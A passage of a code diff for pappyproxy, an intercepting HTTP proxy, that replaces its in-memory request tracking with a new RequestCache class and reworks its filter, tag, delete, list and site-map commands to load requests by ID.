+                defer.returnValue(ids[:n])
+        self.complete = True
+        defer.returnValue(ids)
 
 class FilterParseError(PappyException):
     pass
@@ -506,7 +460,7 @@ def gen_filter_by_set_cookies(args):
     def f(req):
         if not req.response:
             return False
-        checkdict = http.RepeatableDict()
+        checkdict = RepeatableDict()
         for k, v in req.response.cookies.all_pairs():
             checkdict[k] = v.cookie_str
         return comparer(checkdict)
@@ -531,27 +485,27 @@ def gen_filter_by_params(args):
     return f
 
 @defer.inlineCallbacks
-def init():
-    yield reload_from_storage()
-
-def filter_reqs(requests, filters):
+def filter_reqs(reqids, filters):
     to_delete = set()
     # Could definitely be more efficient, but it stays like this until
     # it impacts performance
+    requests = []
+    for reqid in reqids:
+        r = yield Request.load_request(reqid)
+        requests.append(r)
     for req in requests:
         for filt in filters:
             if not filt(req):
                 to_delete.add(req)
-    retreqs = [r for r in requests if r not in to_delete]
-    return (retreqs, list(to_delete))
+    retreqs = []
+    retdel = []
+    for r in requests:
+        if r in to_delete:
+            retdel.append(r.reqid)
+        else:
+            retreqs.append(r.reqid)
+    defer.returnValue((retreqs, retdel))
 
-@defer.inlineCallbacks
-def reload_from_storage():
-    Context.all_reqs = set()
-    reqs = yield http.Request.load_all_requests()
-    for req in reqs:
-        Context.all_reqs.add(req)
-        
 def passes_filters(request, filters):
     for filt in filters:
         if not filt(request):
@@ -560,7 +514,8 @@ def passes_filters(request, filters):
 
 def in_scope(request):
     global scope
-    return passes_filters(request, scope)
+    passes = passes_filters(request, scope)
+    return passes
     
 def set_scope(filters):
     global scope
@@ -573,7 +528,7 @@ def save_scope(context):
 def reset_to_scope(context):
     global scope
     context.active_filters = scope[:]
-    context.filter_recheck()
+    context.cache_reset()
     
 def print_scope():
     global scope
@@ -619,12 +574,12 @@ def load_scope(dbpool):
 @defer.inlineCallbacks
 def clear_tag(tag):
     # Remove a tag from every request
-    reqs = yield http.Request.load_requests_by_tag(tag)
+    reqs = yield Request.cache.load_by_tag(tag)
     for req in reqs:
         req.tags.remove(tag)
         if req.saved:
             yield req.async_save()
-    filter_recheck()
+    reset_context_caches()
 
 @defer.inlineCallbacks
 def async_set_tag(tag, reqs):
@@ -640,10 +595,9 @@ def async_set_tag(tag, reqs):
     """
     yield clear_tag(tag)
     for req in reqs:
-        if not req.reqid:
-            req.reqid = get_memid()
         req.tags.append(tag)
-        add_request(req)
+        Request.cache.add(req)
+    reset_context_caches()
 
 @crochet.wait_for(timeout=180.0)
 @defer.inlineCallbacks
@@ -666,8 +620,7 @@ def validate_regexp(r):
     except re.error as e:
         raise PappyException('Invalid regexp: %s' % e)
 
-def add_request_to_contexts(req):
+def reset_context_caches():
     import pappyproxy.pappy
     for c in pappyproxy.pappy.all_contexts:
-        c.add_request(req)
-
+        c.cache_reset()

pappyproxy/default_global_config.json

@@ -0,0 +1,3 @@
+{
+    "cache_size": 2000
+}

pappyproxy/http.py

@@ -7,14 +7,19 @@ import gzip
 import json
 import pygments
 import re
+import time
 import urlparse
 import zlib
+import weakref
 
 from .util import PappyException, printable_data
+from .requestcache import RequestCache
 from pygments.formatters import TerminalFormatter
 from pygments.lexers import get_lexer_for_mimetype, HttpLexer
 from twisted.internet import defer, reactor
 
+import sys
+
 ENCODE_NONE = 0
 ENCODE_DEFLATE = 1
 ENCODE_GZIP = 2
@@ -545,8 +550,6 @@ class HTTPMessage(object):
         self._data_obj = None
         self._end_after_headers = False
 
-        #self._set_dict_callbacks()
-
         if full_message is not None:
             self._from_full_message(full_message, update_content_length)
 
@@ -930,6 +933,11 @@ class Request(HTTPMessage):
     :vartype plugin_data: Dict
     """
 
+    cache = RequestCache(100)
+    """
+    The request cache that stores requests in memory for performance
+    """
+
     def __init__(self, full_request=None, update_content_length=True,
                  port=None, is_ssl=None, host=None):
         self.time_end = None
@@ -1178,6 +1186,17 @@ class Request(HTTPMessage):
             ret = ret[:-1]
         return tuple(ret)
 
+    @property
+    def sort_time(self):
+        """
+        If the request has a submit time, returns the submit time's unix timestamp.
+        Returns 0 otherwise
+        """
+        if self.time_start:
+            return time.mktime(self.time_start.timetuple())
+        else:
+            return 0
+
     ###########
     ## Metadata
 
@@ -1222,9 +1241,15 @@ class Request(HTTPMessage):
 
     def _set_dict_callbacks(self):
         # Add callbacks to dicts
-        self.headers.set_modify_callback(self.update_from_headers)
-        self.cookies.set_modify_callback(self._update_from_objects)
-        self.post_params.set_modify_callback(self._update_from_objects)
+        def f1():
+            obj = weakref.proxy(self)
+            obj.update_from_headers()
+        def f2():
+            obj = weakref.proxy(self)
+            obj._update_from_objects()
+        self.headers.set_modify_callback(f1)
+        self.cookies.set_modify_callback(f2)
+        self.post_params.set_modify_callback(f2)
         
     def update_from_body(self):
         # Updates metadata that's based off of data
@@ -1237,6 +1262,8 @@ class Request(HTTPMessage):
     def _update_from_objects(self):
         # Updates text values that depend on objects.
         # DOES NOT MAINTAIN HEADER DUPLICATION, ORDER, OR CAPITALIZATION
+        print 'FOOOOO'
+        print self.post_params.all_pairs()
         if self.cookies:
             assignments = []
             for ck, cv in self.cookies.all_pairs():
@@ -1387,13 +1414,12 @@ class Request(HTTPMessage):
 
         :rtype: twisted.internet.defer.Deferred
         """
-        from .context import add_request_to_contexts, Context
+        from .context import Context
         from .pappy import main_context
 
         assert(dbpool)
         if not self.reqid:
             self.reqid = '--'
-        add_request_to_contexts(self)
         try:
             # Check for intyness
             _ = int(self.reqid)
@@ -1407,9 +1433,8 @@ class Request(HTTPMessage):
             yield dbpool.runInteraction(self._insert)
             assert(self.reqid is not None)
             yield dbpool.runInteraction(self._update_tags)
-        if self.unmangled:
-            Context.remove_request(self.unmangled)
-        main_context.filter_recheck()
+        Request.cache.add(self)
+        main_context.cache_reset()
 
     @crochet.wait_for(timeout=180.0)
     @defer.inlineCallbacks
@@ -1500,10 +1525,10 @@ class Request(HTTPMessage):
             queryargs.append(self.unmangled.reqid)
         if self.time_start:
             setnames.append('start_datetime=?')
-            queryargs.append(self.time_start.isoformat())
+            queryargs.append(time.mktime(self.time_start.timetuple()))
         if self.time_end:
             setnames.append('end_datetime=?')
-            queryargs.append(self.time_end.isoformat())
+            queryargs.append(time.mktime(self.time_end.timetuple()))
 
         setnames.append('is_ssl=?')
         if self.is_ssl:
@@ -1549,10 +1574,10 @@ class Request(HTTPMessage):
             colvals.append(self.unmangled.reqid)
         if self.time_start:
             colnames.append('start_datetime')
-            colvals.append(self.time_start.isoformat())
+            colvals.append(time.mktime(self.time_start.timetuple()))
         if self.time_end:
             colnames.append('end_datetime')
-            colvals.append(self.time_end.isoformat())
+            colvals.append(time.mktime(self.time_end.timetuple()))
         colnames.append('submitted')
         if self.submitted:
             colvals.append('1')
@@ -1589,22 +1614,35 @@ class Request(HTTPMessage):
             
     @defer.inlineCallbacks
     def delete(self):
-        from .context import Context
+        from .context import Context, reset_context_caches
 
-        assert(self.reqid is not None)
-        Context.remove_request(self)
-        yield dbpool.runQuery(
-            """
-            DELETE FROM requests WHERE id=?;
-            """,
-            (self.reqid,)
+        if self.reqid is None:
+            raise PappyException("Cannot delete request with id=None")
+        self.cache.evict(self.reqid)
+        RequestCache.ordered_ids.remove(self.reqid)
+        RequestCache.all_ids.remove(self.reqid)
+        if self.reqid in RequestCache.req_times:
+            del RequestCache.req_times[self.reqid]
+        if self.reqid in RequestCache.inmem_reqs:
+            RequestCache.inmem_reqs.remove(self.reqid)
+        if self.reqid in RequestCache.unmangled_ids:
+            RequestCache.unmangled_ids.remove(self.reqid)
+
+        reset_context_caches()
+
+        if self.reqid[0] != 'm':
+            yield dbpool.runQuery(
+                """
+                DELETE FROM requests WHERE id=?;
+                """,
+                (self.reqid,)
+                )
+            yield dbpool.runQuery(
+                """
+                DELETE FROM tagged WHERE reqid=?;
+                """,
+                (self.reqid,)
             )
-        yield dbpool.runQuery(
-            """
-            DELETE FROM tagged WHERE reqid=?;
-            """,
-            (self.reqid,)
-        )
         self.reqid = None
 
     @defer.inlineCallbacks
@@ -1647,9 +1685,9 @@ class Request(HTTPMessage):
             unmangled_req = yield Request.load_request(str(row[3]))
             req.unmangled = unmangled_req
         if row[4]:
-            req.time_start = datetime.datetime.strptime(row[4], "%Y-%m-%dT%H:%M:%S.%f")
+            req.time_start = datetime.datetime.fromtimestamp(row[4])
         if row[5]:
-            req.time_end = datetime.datetime.strptime(row[5], "%Y-%m-%dT%H:%M:%S.%f")
+            req.time_end = datetime.datetime.fromtimestamp(row[5])
         if row[6] is not None:
             req.port = int(row[6])
         if row[7] == 1:
@@ -1676,25 +1714,26 @@ class Request(HTTPMessage):
 
     @staticmethod
     @defer.inlineCallbacks
-    def load_all_requests():
+    def load_requests_by_time(first, num):
         """
-        load_all_requests()
+        load_requests_by_time()
         Load all the requests in the data file and return them in a list.
         Returns a deferred which calls back with the list of requests when complete.
 
         :rtype: twisted.internet.defer.Deferred
         """
-        from .context import Context
+        from .requestcache import RequestCache
         from .http import Request
 
-        reqs = []
-        reqs += list(Context.in_memory_requests)
+        starttime = RequestCache.req_times[first]
         rows = yield dbpool.runQuery(
             """
             SELECT %s
-            FROM requests;
-            """ % Request._gen_sql_row(),
+            FROM requests
+            WHERE start_datetime<=? ORDER BY start_datetime desc LIMIT ?;
+            """ % Request._gen_sql_row(), (starttime, num)
             )
+        reqs = []
         for row in rows:
             req = yield Request._from_sql_row(row)
             reqs.append(req)
@@ -1728,17 +1767,23 @@ class Request(HTTPMessage):
         
     @staticmethod
     @defer.inlineCallbacks
-    def load_request(to_load, allow_special=True):
+    def load_request(to_load, allow_special=True, use_cache=True):
         """
         load_request(to_load)
         Load a request with the given request id and return it.
         Returns a deferred which calls back with the request when complete.
 
+        :param allow_special: Whether to allow special IDs such as ``u##`` or ``s##``
+        :type allow_special: bool
+        :param use_cache: Whether to use the cache. If set to false, it will always query the data file to get the request
+        :type use_cache: bool
+
         :rtype: twisted.internet.defer.Deferred
         """
         from .context import Context
 
-        assert(dbpool)
+        if not dbpool:
+            raise PappyException('No database connection to load from')
 
         if to_load == '--':
             raise PappyException('Invalid request ID. Wait for it to save first.')
@@ -1775,15 +1820,14 @@ class Request(HTTPMessage):
             else:
                 return r
 
-        for r in Context.in_memory_requests:
-            if r.reqid == to_load:
-                defer.returnValue(retreq(r))
-        for r in Context.all_reqs:
-            if r.reqid == to_load:
-                defer.returnValue(retreq(r))
-        if to_load[0] == 'm':
-            # An in-memory request should have been loaded in the previous loop
-            raise PappyException('In-memory request %s not found' % to_load)
+        # Get it through the cache
+        if use_cache:
+            # If it's not cached, load_request will be called again and be told
+            # not to use the cache.
+            r = yield Request.cache.get(loadid)
+            defer.returnValue(r)
+
+        # Load it from the data file
         rows = yield dbpool.runQuery(
             """
             SELECT %s
@@ -1795,34 +1839,10 @@ class Request(HTTPMessage):
         if len(rows) != 1:
             raise PappyException("Request with id %s does not exist" % loadid)
         req = yield Request._from_sql_row(rows[0])
-        req.reqid = to_load
-
+        assert req.reqid == loadid
+        Request.cache.add(req)
         defer.returnValue(retreq(req))
 
-    @staticmethod
-    @defer.inlineCallbacks
-    def load_from_filters(filters):
-        # Not efficient in any way
-        # But it stays this way until we hit performance issues
-        from .context import Context, filter_reqs
-
-        assert(dbpool)
-        rows = yield dbpool.runQuery(
-            """
-            SELECT %s FROM requests r1
-                LEFT JOIN requests r2 ON r1.id=r2.unmangled_id
-            WHERE r2.id is NULL;
-            """ % Request._gen_sql_row('r1'),
-            )
-        reqs = []
-        for row in rows:
-            req = yield Request._from_sql_row(row)
-            reqs.append(req)
-        reqs += list(Context.in_memory_requests)
-        (reqs, _) = filter_reqs(reqs, filters)
-
-        defer.returnValue(reqs)
-    
     ######################
     ## Submitting Requests
         
@@ -2009,8 +2029,14 @@ class Response(HTTPMessage):
     
     def _set_dict_callbacks(self):
         # Add callbacks to dicts
-        self.headers.set_modify_callback(self.update_from_headers)
-        self.cookies.set_modify_callback(self._update_from_objects)
+        def f1():
+            obj = weakref.proxy(self)
+            obj.update_from_headers()
+        def f2():
+            obj = weakref.proxy(self)
+            obj._update_from_objects()
+        self.headers.set_modify_callback(f1)
+        self.cookies.set_modify_callback(f2)
 
     def update_from_body(self):
         HTTPMessage.update_from_body(self)
@@ -2149,19 +2175,15 @@ class Response(HTTPMessage):
         :rtype: twisted.internet.defer.Deferred
         """
         assert(dbpool)
-        if not self._saving:
-            # Not thread safe... I know, but YOLO
-            self._saving = True
-            try:
-                # Check for intyness
-                _ = int(self.rspid)
+        try:
+            # Check for intyness
+            _ = int(self.rspid)
 
-                # If we have rspid, we're updating
-                yield dbpool.runInteraction(self._update)
-            except (ValueError, TypeError):
-                yield dbpool.runInteraction(self._insert)
-            self._saving = False
-            assert(self.rspid is not None)
+            # If we have rspid, we're updating
+            yield dbpool.runInteraction(self._update)
+        except (ValueError, TypeError):
+            yield dbpool.runInteraction(self._insert)
+        assert(self.rspid is not None)
 
     # Right now responses without requests are unviewable
     # @crochet.wait_for(timeout=180.0)
@@ -2206,13 +2228,13 @@ class Response(HTTPMessage):
 
     @defer.inlineCallbacks
     def delete(self):
-        assert(self.rspid is not None)
-        row = yield dbpool.runQuery(
-            """
-            DELETE FROM responses WHERE id=?;
-            """,
-            (self.rspid,)
-            )
+        if self.rspid is not None:
+            row = yield dbpool.runQuery(
+                """
+                DELETE FROM responses WHERE id=?;
+                """,
+                (self.rspid,)
+                )
         self.rspid = None
 
     @staticmethod

pappyproxy/pappy.py

@@ -15,6 +15,7 @@ from . import context
 from . import http
 from . import plugin
 from . import proxy
+from . import requestcache
 from .console import ProxyCmd
 from twisted.enterprise import adbapi
 from twisted.internet import reactor, defer
@@ -29,26 +30,6 @@ all_contexts = [main_context]
 plugin_loader = None
 cons = None
 
-@defer.inlineCallbacks
-def wait_for_saves(ignored):
-    reset = True
-    printed = False
-    lastprint = 0
-    while reset:
-        reset = False
-        togo = 0
-        for c in all_contexts:
-            for r in c.all_reqs:
-                if r.reqid == '--':
-                    reset = True
-                    togo += 1
-                    d = defer.Deferred()
-                    d.callback(None)
-                    yield d
-        if togo % 10 == 0 and lastprint != togo:
-            lastprint = togo
-            print '%d requests left to be saved (probably won\'t work)' % togo
-            
 def parse_args():
     # parses sys.argv and returns a settings dictionary
 
@@ -92,6 +73,7 @@ def main():
     else:
         # Initialize config
         config.load_from_file('./config.json')
+        config.global_load_from_file()
         delete_data_on_quit = False
 
     # If the data file doesn't exist, create it with restricted permissions
@@ -110,7 +92,8 @@ def main():
         print 'Exiting...'
         reactor.stop()
     http.init(dbpool)
-    yield context.init()
+    yield requestcache.RequestCache.load_ids()
+    context.reset_context_caches()
 
     # Run the proxy
     if config.DEBUG_DIR and os.path.exists(config.DEBUG_DIR):
@@ -167,7 +150,6 @@ def main():
 
     d = deferToThread(cons.cmdloop)
     d.addCallback(close_listeners)
-    d.addCallback(wait_for_saves)
     d.addCallback(lambda ignored: reactor.stop())
     if delete_data_on_quit:
         d.addCallback(lambda ignored: delete_datafile())

pappyproxy/plugin.py

@@ -15,6 +15,8 @@ from .proxy import add_intercepting_macro as proxy_add_intercepting_macro
 from .proxy import remove_intercepting_macro as proxy_remove_intercepting_macro
 from .util import PappyException
 
+from twisted.internet import defer
+
 class Plugin(object):
 
     def __init__(self, cmd, fname=None):
@@ -68,9 +70,9 @@ class PluginLoader(object):
 
 def plugin_by_name(name):
     """
-    Returns an interface to access the methods of a plugin from its name.
-    For example, to call the ``foo`` function from the ``bar`` plugin
-    you would call ``plugin_by_name('bar').foo()``.
+    Returns an interface to access the methods of a plugin from its
+    name.  For example, to call the ``foo`` function from the ``bar``
+    plugin you would call ``plugin_by_name('bar').foo()``.
     """
     import pappyproxy.pappy
     if name in pappyproxy.pappy.plugin_loader.plugins_by_name:
@@ -81,70 +83,78 @@ def plugin_by_name(name):
 def add_intercepting_macro(name, macro):
     """
     Adds an intercepting macro to the proxy. You can either use a
-    :class:`pappyproxy.macros.FileInterceptMacro` to load an intercepting macro
-    from the disk, or you can create your own using an :class:`pappyproxy.macros.InterceptMacro`
-    for a base class. You must give a unique name that will be used in
-    :func:`pappyproxy.plugin.remove_intercepting_macro` to deactivate it. Remember
-    that activating an intercepting macro will disable request streaming and will
-    affect performance. So please try and only use this if you may need to modify
-    messages before they are passed along.
+    :class:`pappyproxy.macros.FileInterceptMacro` to load an
+    intercepting macro from the disk, or you can create your own using
+    an :class:`pappyproxy.macros.InterceptMacro` for a base class. You
+    must give a unique name that will be used in
+    :func:`pappyproxy.plugin.remove_intercepting_macro` to deactivate
+    it. Remember that activating an intercepting macro will disable
+    request streaming and will affect performance. So please try and
+    only use this if you may need to modify messages before they are
+    passed along.
     """
     proxy_add_intercepting_macro(name, macro, pappyproxy.pappy.server_factory.intercepting_macros)
     
 def remove_intercepting_macro(name):
     """
-    Stops an active intercepting macro. You must pass in the name that you used
-    when calling :func:`pappyproxy.plugin.add_intercepting_macro` to identify
-    which macro you would like to stop.
+    Stops an active intercepting macro. You must pass in the name that
+    you used when calling
+    :func:`pappyproxy.plugin.add_intercepting_macro` to identify which
+    macro you would like to stop.
     """
     proxy_remove_intercepting_macro(name, pappyproxy.pappy.server_factory.intercepting_macros)
     
 def active_intercepting_macros():
     """
-    Returns a list of the active intercepting macro objects. Modifying this list
-    will not affect which macros are active.
+    Returns a list of the active intercepting macro objects. Modifying
+    this list will not affect which macros are active.
     """
     return pappyproxy.pappy.server_factory.intercepting_macros[:]
 
 def in_memory_reqs():
     """
-    Returns a list containing all out of the requests which exist in memory only
-    (requests with an m## style id).
-    You can call either :func:`pappyproxy.http.Request.save` or 
-    :func:`pappyproxy.http.Request.async_save` to save the request to the data file.
+    Returns a list containing the ids of the requests which exist in
+    memory only (requests with an m## style id).  You can call either
+    :func:`pappyproxy.http.Request.save` or
+    :func:`pappyproxy.http.Request.async_deep_save` to save the
+    request to the data file.
     """
-    return list(pappyproxy.context.Context.in_memory_requests)
+    return list(pappyproxy.http.Request.cache.inmem_reqs)
 
-def all_reqs():
-    """
-    Returns a list containing all the requests in history (including requests
-    that only exist in memory). Modifying this list will not modify requests
-    included in the history. However, you can edit the requests
-    in this list then call either :func:`pappyproxy.http.Request.save` or 
-    :func:`pappyproxy.http.Request.async_save` to modify the actual request.
+def req_history(num=-1, ids=None, include_unmangled=False):
     """
-    return list(pappyproxy.context.Context.all_reqs)
+    Returns an a generator that generates deferreds which resolve to
+    requests in history, ignoring the current context.  If ``n`` is
+    given, it will stop after ``n`` requests have been generated.  If
+    ``ids`` is given, it will only include those IDs. If
+    ``include_unmangled`` is True, then the iterator will include
+    requests which are the unmangled version of other requests.
 
-def main_context():
-    """
-    Returns the context object representing the main context. Use this to interact
-    with the context. The returned object can be modified
-    at will. Avoid modifying any class values (ie all_reqs, in_memory_requests)
-    and use the class methods to add/remove requests. See the documentation on
-    :class:`pappyproxy.context.Context` for more information.
+    An example of using the iterator to print the 10 most recent requests:
+    ```
+    @defer.inlineCallbacks
+    def find_food():
+        for req_d in req_history(10):
+            req = yield req_d
+            print '-'*10
+            print req.full_message_pretty
+    ```
     """
-    return pappyproxy.pappy.main_context
+    return pappyproxy.Request.cache.req_it(num=num, ids=ids, include_unmangled=include_unmangled)
 
-def add_req(req):
+def main_context_ids(n=-1):
     """
-    Adds a request to the history. Will not do anything to requests which are
-    already in history. If the request is not saved, it will be given an m## id.
+    Returns a deferred that resolves into a list of up to ``n`` of the
+    most recent requests in the main context.  You can then use
+    :func:`pappyproxy.http.Request.load_request` to load the requests
+    in the current context. If no value is passed for ``n``, this will
+    return all of the IDs in the context.
     """
-    pappyproxy.pappy.main_context.add_request(req)
+    return pappyproxy.pappy.main_context.get_reqs(n)
 
 def run_cmd(cmd):
     """
-    Run a command as if you typed it into the console. Try and use existing APIs
-    to do what you want before using this.
+    Run a command as if you typed it into the console. Try and use
+    existing APIs to do what you want before using this.
     """
     pappyproxy.pappy.cons.onecmd(cmd)

pappyproxy/plugins/filter.py

@@ -3,6 +3,7 @@ import pappyproxy
 
 from pappyproxy.console import confirm
 from pappyproxy.util import PappyException
+from pappyproxy.http import Request
 from twisted.internet import defer
 
 class BuiltinFilters(object):
@@ -72,7 +73,7 @@ def builtin_filter(line):
     filters_to_add = yield BuiltinFilters.get(line)
     for f in filters_to_add:
         print f.filter_string
-        pappyproxy.pappy.main_context.add_filter(f)
+        yield pappyproxy.pappy.main_context.add_filter(f)
     defer.returnValue(None)
 
 def filter_up(line):
@@ -82,15 +83,12 @@ def filter_up(line):
     """
     pappyproxy.pappy.main_context.filter_up()
 
-@crochet.wait_for(timeout=None)
-@defer.inlineCallbacks
 def filter_clear(line):
     """
     Reset the context so that it contains no filters (ignores scope)
     Usage: filter_clear
     """
-    pappyproxy.pappy.main_context.active_filters = []
-    yield pappyproxy.context.reload_from_storage()
+    pappyproxy.pappy.main_context.set_filters([])
 
 def filter_list(line):
     """
@@ -111,12 +109,14 @@ def scope_save(line):
     pappyproxy.context.save_scope(pappyproxy.pappy.main_context)
     yield pappyproxy.context.store_scope(pappyproxy.http.dbpool)
 
+@crochet.wait_for(timeout=None)
+@defer.inlineCallbacks
 def scope_reset(line):
     """
     Set the context to be the scope (view in-scope items)
     Usage: scope_reset
     """
-    pappyproxy.context.reset_to_scope(pappyproxy.pappy.main_context)
+    yield pappyproxy.context.reset_to_scope(pappyproxy.pappy.main_context)
 
 @crochet.wait_for(timeout=None)
 @defer.inlineCallbacks
@@ -143,6 +143,7 @@ def filter_prune(line):
     CANNOT BE UNDONE!! Be careful!
     Usage: filter_prune
     """
+    from pappyproxy.requestcache import RequestCache
     # Delete filtered items from datafile
     print ''
     print 'Currently active filters:'
@@ -150,15 +151,20 @@ def filter_prune(line):
         print '> %s' % f.filter_string
 
     # We copy so that we're not removing items from a set we're iterating over
-    reqs = list(pappyproxy.pappy.main_context.inactive_requests)
-    act_reqs = list(pappyproxy.pappy.main_context.active_requests)
-    message = 'This will delete %d/%d requests. You can NOT undo this!! Continue?' % (len(reqs), (len(reqs) + len(act_reqs)))
+    act_reqs = yield pappyproxy.pappy.main_context.get_reqs()
+    inact_reqs = RequestCache.all_ids.difference(set(act_reqs))
+    inact_reqs = inact_reqs.difference(set(RequestCache.unmangled_ids))
+    message = 'This will delete %d/%d requests. You can NOT undo this!! Continue?' % (len(inact_reqs), (len(inact_reqs) + len(act_reqs)))
     if not confirm(message, 'n'):
         defer.returnValue(None)
     
-    for r in reqs:
-        yield r.deep_delete()
-    print 'Deleted %d requests' % len(reqs)
+    for reqid in inact_reqs:
+        try:
+            req = yield pappyproxy.http.Request.load_request(reqid)
+            yield req.deep_delete()
+        except PappyException as e:
+            print e
+    print 'Deleted %d requests' % len(inact_reqs)
     defer.returnValue(None)
 
 ###############

pappyproxy/plugins/misc.py

@@ -4,16 +4,19 @@ import shlex
 
 from pappyproxy.console import confirm, load_reqlist
 from pappyproxy.util import PappyException
+from pappyproxy.http import Request
 from twisted.internet import defer
 
+@crochet.wait_for(timeout=None)
+@defer.inlineCallbacks
 def clrmem(line):
     """
     Delete all in-memory only requests
     Usage: clrmem
     """
-    to_delete = list(pappyproxy.context.Context.in_memory_requests)
+    to_delete = list(pappyproxy.requestcache.RequestCache.inmem_reqs)
     for r in to_delete:
-        pappyproxy.context.Context.remove_request(r)
+        yield r.deep_delete()
 
 def gencerts(line):
     """
@@ -42,6 +45,15 @@ def log(line):
     raw_input()
     pappyproxy.config.DEBUG_VERBOSITY = 0
 
+@crochet.wait_for(timeout=None)
+@defer.inlineCallbacks
+def save(line):
+    args = shlex.split(line)
+    reqids = args[0]
+    reqs = yield load_reqlist(reqids)
+    for req in reqs:
+        yield req.async_deep_save()
+    
 @crochet.wait_for(timeout=None)
 @defer.inlineCallbacks
 def export(line):
@@ -77,6 +89,7 @@ def load_cmds(cmd):
     cmd.set_cmds({
         'clrmem': (clrmem, None),
         'gencerts': (gencerts, None),
+        'sv': (save, None),
         'export': (export, None),
         'log': (log, None),
     })

pappyproxy/plugins/tagcmds.py

@@ -2,10 +2,11 @@ import crochet
 import pappyproxy
 import shlex
 
-from pappyproxy.plugin import main_context
+from pappyproxy.plugin import main_context_ids
 from pappyproxy.console import load_reqlist
 from pappyproxy.util import PappyException
 from twisted.internet import defer
+from pappyproxy.http import Request
 
 @crochet.wait_for(timeout=None)
 @defer.inlineCallbacks
@@ -22,19 +23,18 @@ def tag(line):
     tag = args[0]
 
     if len(args) > 1:
-        reqs = yield load_reqlist(args[1], False)
-        ids = [r.reqid for r in reqs]
-        print 'Tagging %s with %s' % (', '.join(ids), tag)
+        reqids = yield load_reqlist(args[1], False, ids_only=True)
+        print 'Tagging %s with %s' % (', '.join(reqids), tag)
     else:
         print "Tagging all in-context requests with %s" % tag
-        reqs = main_context().active_requests
+        reqids = yield main_context_ids()
 
-    for req in reqs:
+    for reqid in reqids:
+        req = yield Request.load_request(reqid)
         if tag not in req.tags:
             req.tags.append(tag)
             if req.saved:
                 yield req.async_save()
-            add_req(req)
         else:
             print 'Request %s already has tag %s' % (req.reqid, tag)
 
@@ -55,13 +55,14 @@ def untag(line):
 
     ids = []
     if len(args) > 1:
-        reqs = yield load_reqlist(args[1], False)
-        ids = [r.reqid for r in reqs]
+        reqids = yield load_reqlist(args[1], False, ids_only=True)
+        print 'Removing tag %s from %s' % (tag, ', '.join(reqids))
     else:
-        print "Untagging all in-context requests with tag %s" % tag
-        reqs = main_context().active_requests
+        print "Removing tag %s from all in-context requests" % tag
+        reqids = yield main_context_ids()
 
-    for req in reqs:
+    for reqid in reqids:
+        req = yield Request.load_request(reqid)
         if tag in req.tags:
             req.tags.remove(tag)
             if req.saved:

pappyproxy/plugins/view.py

@@ -3,11 +3,11 @@ import datetime
 import pappyproxy
 import shlex
 
-from pappyproxy.console import load_reqlist, print_table, print_requests
+from pappyproxy.console import load_reqlist, print_table, print_request_rows, get_req_data_row
 from pappyproxy.util import PappyException
-from pappyproxy.plugin import main_context
 from pappyproxy.http import Request
 from twisted.internet import defer
+from pappyproxy.plugin import main_context_ids
 
 ###################
 ## Helper functions
@@ -78,14 +78,6 @@ def print_request_extended(request):
     if request.plugin_data:
         print 'Plugin Data: %s' % (request.plugin_data)
 
-def get_site_map(reqs):
-    # Takes in a list of requests and returns a tree representing the site map
-    paths_set = set()
-    for req in reqs:
-        paths_set.add(req.path_tuple)
-    paths = sorted(list(paths_set))
-    return paths
-
 def print_tree(tree):
     # Prints a tree. Takes in a sorted list of path tuples
     _print_tree_helper(tree, 0, [])
@@ -142,6 +134,8 @@ def _print_tree_helper(tree, depth, print_bars):
 ####################
 ## Command functions
     
+@crochet.wait_for(timeout=None)
+@defer.inlineCallbacks
 def list_reqs(line):
     """
     List the most recent in-context requests. By default shows the most recent 25
@@ -163,16 +157,12 @@ def list_reqs(line):
     else:
         print_count = 25
 
-    def key_reqtime(req):
-        if req.time_start is None:
-            return -1
-        else:
-            return (req.time_start-datetime.datetime(1970,1,1)).total_seconds()
-
-    to_print = sorted(main_context().active_requests, key=key_reqtime, reverse=True)
-    if print_count > 0:
-        to_print = to_print[:print_count]
-    print_requests(to_print)
+    rows = []
+    ids = yield main_context_ids(print_count)
+    for i in ids:
+        req = yield Request.load_request(i)
+        rows.append(get_req_data_row(req))
+    print_request_rows(rows)
 
 @crochet.wait_for(timeout=None)
 @defer.inlineCallbacks
@@ -292,13 +282,20 @@ def dump_response(line):
         f.write(rsp.body)
     print 'Response data written to %s' % fname
 
+@crochet.wait_for(timeout=None)
+@defer.inlineCallbacks
 def site_map(line):
     """
     Print the site map. Only includes requests in the current context.
     Usage: site_map
     """
-    to_print = [r for r in main_context().active_requests if not r.response or r.response.response_code != 404]
-    tree = get_site_map(to_print)
+    ids = yield main_context_ids()
+    paths_set = set()
+    for reqid in ids:
+        req = yield Request.load_request(reqid)
+        if req.response and req.response.response_code != 404:
+            paths_set.add(req.path_tuple)
+    tree = sorted(list(paths_set))
     print_tree(tree)
 
     

pappyproxy/requestcache.py

@@ -0,0 +1,232 @@
+import time
+
+import pappyproxy
+from .sortedcollection import SortedCollection
+from twisted.internet import defer
+
+class RequestCache(object):
+    """
+    An interface for loading requests. Stores a number of requests in memory and
+    leaves the rest on disk. Transparently handles loading requests from disk.
+    Most useful functions are :func:`pappyproxy.requestcache.RequestCache.get` to
+    get a request by id and :func:`pappyproxy.requestcache.RequestCache.req_id`
+    to iterate over requests starting with the most recent requests.
+
+    :ivar cache_size: The number of requests to keep in memory at any given time. This is the number of requests, so if all of the requests are to download something huge, this could still take up a lot of memory.
+    :type cache_size: int
+    """
+
+    _next_in_mem_id = 1
+    _preload_limit = 10
+    all_ids = set()
+    unmangled_ids = set()
+    ordered_ids = SortedCollection(key=lambda x: -RequestCache.req_times[x])
+    inmem_reqs = set()
+    req_times = {}
+
+    def __init__(self, cache_size=100):
+        self._cache_size = cache_size
+        if cache_size >= 100:
+            RequestCache._preload_limit = int(cache_size * 0.30)
+        self._cached_reqs = {}
+        self._last_used = {}
+        self._min_time = None
+        self.hits = 0
+        self.misses = 0
+
+    @property
+    def hit_ratio(self):
+        if self.hits == 0 and self.misses == 0:
+            return 0
+        return float(self.hits)/float(self.hits + self.misses)
+
+    @staticmethod
+    def get_memid():
+        i = 'm%d' % RequestCache._next_in_mem_id
+        RequestCache._next_in_mem_id += 1
+        return i
+
+    def _update_meta(self):
+        # Can probably do better to prevent unmangled IDs from being added, but whatever
+        over = self._cached_reqs.items()[:]
+        for k, v in over:
+            if v.unmangled:
+                RequestCache.unmangled_ids.add(v.unmangled.reqid)
+    
+    @staticmethod
+    @defer.inlineCallbacks
+    def load_ids():
+        rows = yield pappyproxy.http.dbpool.runQuery(
+            """
+            SELECT id, start_datetime FROM requests;
+            """
+            )
+        for row in rows:
+            if row[1]:
+                RequestCache.req_times[str(row[0])] = row[1]
+            else:
